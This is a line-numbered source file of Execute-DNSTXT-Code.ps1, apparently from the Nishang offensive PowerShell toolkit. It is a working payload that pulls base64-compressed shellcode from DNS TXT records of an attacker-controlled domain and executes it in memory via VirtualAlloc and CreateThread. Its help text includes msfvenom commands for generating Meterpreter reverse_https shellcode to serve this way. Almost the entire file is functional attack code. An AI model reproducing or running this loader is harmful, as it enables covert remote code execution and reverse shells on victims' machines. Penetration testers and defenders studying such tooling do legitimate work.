Execute-DNSTXT-Code.ps1 4.5 KB
Newer Older
1 2
function Execute-DNSTXT-Code
{
3 4 5 6 7
<#
.SYNOPSIS
Payload which could execute shellcode from DNS TXT queries.

.DESCRIPTION
8 9 10 11 12 13
This payload is able to pull shellcode from txt record of a domain. 
Below commands could be used to generate shellcode to be usable with this script
./msfvenom -p windows/meterpreter/reverse_https -f powershell LHOST=<>
./msfvenom -p windows/x64/meterpreter/reverse_https -f powershell LHOST=<>

To generate TXT records from above shellcode, use Out-DnsTxt.ps1 in the Utility folder.
14 15

.PARAMETER shellcode32
16
The domain (or subdomain) whose subbdomain's TXT records would hold 32-bit shellcode.
17 18

.PARAMETER shellcode64
19
The domain (or subdomain) whose subbdomain's TXT records would hold 64-bit shellcode.
20 21 22 23

 .PARAMETER AUTHNS
Authoritative Name Server for the domains.

24 25 26
.PARAMETER subdomains
The number of subdomains which would be used to provide shellcode from their TXT records.

27 28 29 30 31 32

.EXAMPLE
PS > Execute-DNSTXT-Code
The payload will ask for all required options.

.EXAMPLE
33
PS > Execute-DNSTXT-Code -ShellCode32 32.alteredsecurity.com -ShellCode64 64.alteredsecurity.com -AuthNS ns8.zoneedit.com -SubDomains 5
34 35 36
Use above from non-interactive shell.

.LINK
37
http://www.labofapenetrationtester.com/2015/01/fun-with-dns-txt-records-and-powershell.html
38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
https://github.com/samratashok/nishang

.NOTES
The code execution logic is based on this post by Matt.
http://www.exploit-monday.com/2011/10/exploiting-powershells-features-not.html
#>
    [CmdletBinding()] Param(
        [Parameter(Position = 0, Mandatory = $True)]
        [String]
        $ShellCode32,

        [Parameter(Position = 1, Mandatory = $True)]
        [String]
        $ShellCode64,

        [Parameter(Position = 2, Mandatory = $True)]
        [String]
55 56 57 58 59 60
        $AuthNS,

        [Parameter(Position = 3, Mandatory = $True)]
        [String]
        $Subdomains

61
    )
62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111
    
    #Function to get shellcode from TXT records
    function Get-ShellCode
    {
        Param(
            [Parameter()]
            [String]
            $ShellCode
        )
        $i = 1
        while ($i -le $subdomains)
        {
            
            if ($AuthNS -ne $null)
            {
                $getcommand = (Invoke-Expression "nslookup -querytype=txt $i.$ShellCode $AuthNS") 
            }
            else
            {
                $getcommand = (Invoke-Expression "nslookup -querytype=txt $i.$ShellCode") 
            }
            $temp = $getcommand | select-string -pattern "`""
            $tmp1 = ""
            $tmp1 = $tmp1 + $temp
            $encdata = $encdata + $tmp1 -replace '\s+', "" -replace "`"", ""
            $i++
        }
        #Decode the downloaded powershell script. The decoding logic is of Invoke-Decode in Utility directory.
        $dec = [System.Convert]::FromBase64String($encdata)
        $ms = New-Object System.IO.MemoryStream
        $ms.Write($dec, 0, $dec.Length)
        $ms.Seek(0,0) | Out-Null
        $cs = New-Object System.IO.Compression.DeflateStream ($ms, [System.IO.Compression.CompressionMode]::Decompress)
        $sr = New-Object System.IO.StreamReader($cs)
        $sc = $sr.readtoend()
        return $sc
    }
    if ([IntPtr]::Size -eq 8) 
    {
        $Shell64 = (Get-ShellCode $ShellCode64)
        #Remove unrequired things from msf shellcode
        $tmp = $Shell64 -replace "`n","" -replace '\$buf \+\= ',"," -replace '\[Byte\[\]\] \$buf \=' -replace " "
        [Byte[]]$sc = $tmp -split ','
    } 
    else
    {
        $shell32 = (Get-ShellCode $ShellCode32)
        $tmp = $Shell32 -replace "`n","" -replace '\$buf \+\= ',"," -replace '\[Byte\[\]\] \$buf \=' -replace " "
        [Byte[]]$sc = $tmp -split ','
    }
112

113
    #Code Execution logic
114 115 116 117 118 119 120 121 122 123 124 125 126 127
    $code = @' 
    [DllImport("kernel32.dll")] 
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); 
    [DllImport("kernel32.dll")] 
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); 
    [DllImport("msvcrt.dll")] 
    public static extern IntPtr memset(IntPtr dest, uint src, uint count); 
'@ 
    $winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru 
    $size = 0x1000 
    if ($sc.Length -gt 0x1000) {$size = $sc.Length} 
    $x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40) 
    for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)} 
    $winFunc::CreateThread(0,0,$x,0,0,0) 
128
    while($True)
129 130 131 132
    {
        start-sleep -Seconds 100
    }
}